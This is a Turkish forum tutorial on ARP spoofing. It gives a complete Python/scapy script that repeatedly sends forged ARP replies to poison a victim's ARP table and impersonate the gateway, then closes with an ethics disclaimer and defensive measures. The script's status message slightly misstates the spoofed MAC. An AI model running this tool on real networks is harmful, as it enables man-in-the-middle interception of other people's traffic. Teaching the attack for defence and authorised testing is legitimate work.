Python Python'da ARP Spoofing Uygulaması

ARP (Address Resolution Protocol), IP adreslerini fiziksel MAC adreslerine dönüştürmek için kullanılan bir ağ protokolüdür. ARP Zehirleme (ARP Spoofing), ağ üzerindeki ARP tablolarını yanıltmak ve bir saldırganın kendisini hedef sistemlere meşru bir ağ cihazı gibi tanıtmasını sağlayan bir saldırı türüdür. Bu makalede, Python ve scapy kütüphanesi kullanarak basit bir ARP Zehirleme uygulaması yazmayı öğreneceksiniz.

ARP Zehirleme Nasıl Çalışır?

ARP Zehirleme, kurban sistemin ARP tablosunu yanıltarak saldırganın MAC adresini, meşru bir cihazın IP adresi ile ilişkilendirmesini sağlar. Bu sayede, kurban cihazdan gelen trafiği saldırganın cihazına yönlendirebilir.

ARP Protokolü

ARP protokolü, iki temel işlemden oluşur:
  1. ARP Request: Bir cihaz, belirli bir IP adresine karşılık gelen MAC adresini bulmak için ağ üzerindeki tüm cihazlara bir ARP isteği gönderir.
  2. ARP Reply: Hedef IP adresine sahip cihaz, kendi MAC adresini içeren bir ARP yanıtı gönderir.
Saldırgan, ARP Reply paketlerini sahte bilgilerle doldurarak kurban cihazları yanıltır.

Gerekli Kütüphaneler

Python'da ARP Zehirleme işlemi için scapy kütüphanesini kullanacağız. Bu kütüphaneyi aşağıdaki komutla yükleyebilirsiniz
Bash:
pip install scapy

ARP Zehirleme Uygulaması

Adım 1: Gerekli Kütüphaneleri İçe Aktarma

Öncelikle, uygulamamız için gerekli kütüphaneleri içe aktaracağız.
Python:
from scapy.all import ARP, Ether, sendp
import time
  • ARP: ARP paketlerini oluşturmak için kullanılır.
  • Ether: Ethernet çerçeveleri oluşturmak için kullanılır.
  • sendp: Düşük seviyeli paketleri ağ katmanına göndermek için kullanılır.
  • time: Zamanlama işlemleri için kullanılır.

Adım 2: ARP Zehirleme Fonksiyonunu Yazma

Bu fonksiyon, belirtilen hedef ve ağ geçidine ARP Zehirleme saldırısı yapacaktır.
Python:
def arp_spoof(target_ip, spoof_ip, target_mac, interface):
    # ARP Zehirleme paketi oluşturma
    arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
   
    # Ethernet çerçevesi içinde ARP paketini gönderme
    ether_frame = Ether(dst=target_mac) / arp_response
   
    # Saldırıyı sürekli tekrarlama
    try:
        while True:
            sendp(ether_frame, iface=interface)
            print(f"[+] Sent to {target_ip}: {spoof_ip} is-at {target_mac}")
            time.sleep(2)  # 2 saniye aralıklarla gönder
    except KeyboardInterrupt:
        print("[!] ARP Spoofing stopped.")

Fonksiyon Açıklaması

  • ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip):Bir ARP yanıt paketi oluşturur. op=2, bu paketin bir ARP yanıtı olduğunu belirtir.
    • pdst: Kurbanın IP adresi.
    • hwdst: Kurbanın MAC adresi.
    • psrc: Saldırganın kendisini taklit edeceği IP adresi (örneğin, ağ geçidinin IP adresi).
  • Ether(dst=target_mac): Ethernet çerçevesi oluşturur ve hedef MAC adresini belirtir.
  • sendp(ether_frame, iface=interface): ARP paketini belirtilen ağ arayüzünden (örneğin, eth0 veya wlan0) gönderir.
  • time.sleep(2): Saldırıyı 2 saniyede bir tekrarlamak için bir bekleme süresi ekler.

Adım 3: Uygulamayı Çalıştırma

Artık fonksiyonumuzu yazdığımıza göre, kullanıcıdan hedef IP, sahte IP (spoof IP), hedef MAC adresi ve ağ arayüzü gibi bilgileri alabiliriz ve arp_spoof fonksiyonunu çalıştırabiliriz.
Python:
if __name__ == "__main__":
    target_ip = input("Enter the target IP: ")
    spoof_ip = input("Enter the IP address to spoof (e.g., gateway IP): ")
    target_mac = input("Enter the target MAC address: ")
    interface = input("Enter the network interface (e.g., eth0, wlan0): ")
   
    arp_spoof(target_ip, spoof_ip, target_mac, interface)

Çıktı

Uygulamanın çalıştırılması durumunda aşağıdaki gibi bir çıktı alırsınız
Kod:
Enter the target IP: 192.168.1.10
Enter the IP address to spoof (e.g., gateway IP): 192.168.1.1
Enter the target MAC address: 00:11:22:33:44:55
Enter the network interface (e.g., eth0, wlan0): wlan0
[+] Sent to 192.168.1.10: 192.168.1.1 is-at 00:11:22:33:44:55
[+] Sent to 192.168.1.10: 192.168.1.1 is-at 00:11:22:33:44:55
...

Sonuç

Bu makalede, Python ve scapy kütüphanesi kullanarak basit bir ARP Zehirleme uygulaması yazmayı öğrendik. ARP Zehirleme, ağlarda man-in-the-middle (MITM) saldırıları gerçekleştirmek için kullanılabilir. Ancak bu tür saldırılar etik olmayan ve yasa dışı amaçlarla kullanılmamalıdır. Sadece izin verilen test ortamlarında ve eğitim amaçlı olarak kullanılmalıdır.

Güvenlik Önlemleri

  • Dinamik ARP Kontrolü (Dynamic ARP Inspection - DAI): Ağ cihazları, ARP Zehirleme saldırılarına karşı korunmak için DAI gibi mekanizmalar kullanabilir.
  • Statik ARP Kayıtları: Kritik cihazlarda statik ARP kayıtları oluşturmak, ARP Zehirleme saldırılarını engelleyebilir.
  • Ağ İzleme: Ağ üzerindeki anormal ARP trafiğini tespit etmek için izleme araçları kullanılabilir.
Bu bilgiler ışığında, ağ güvenliğinizi artırmak ve ağdaki potansiyel saldırıları önlemek için gerekli önlemleri alabilirsiniz.

Not: Bu uygulama yalnızca eğitim ve etik hacking amacıyla, kendi kontrolünüz altındaki ağlarda kullanmak üzere yazılmıştır.
 
Geri
Üst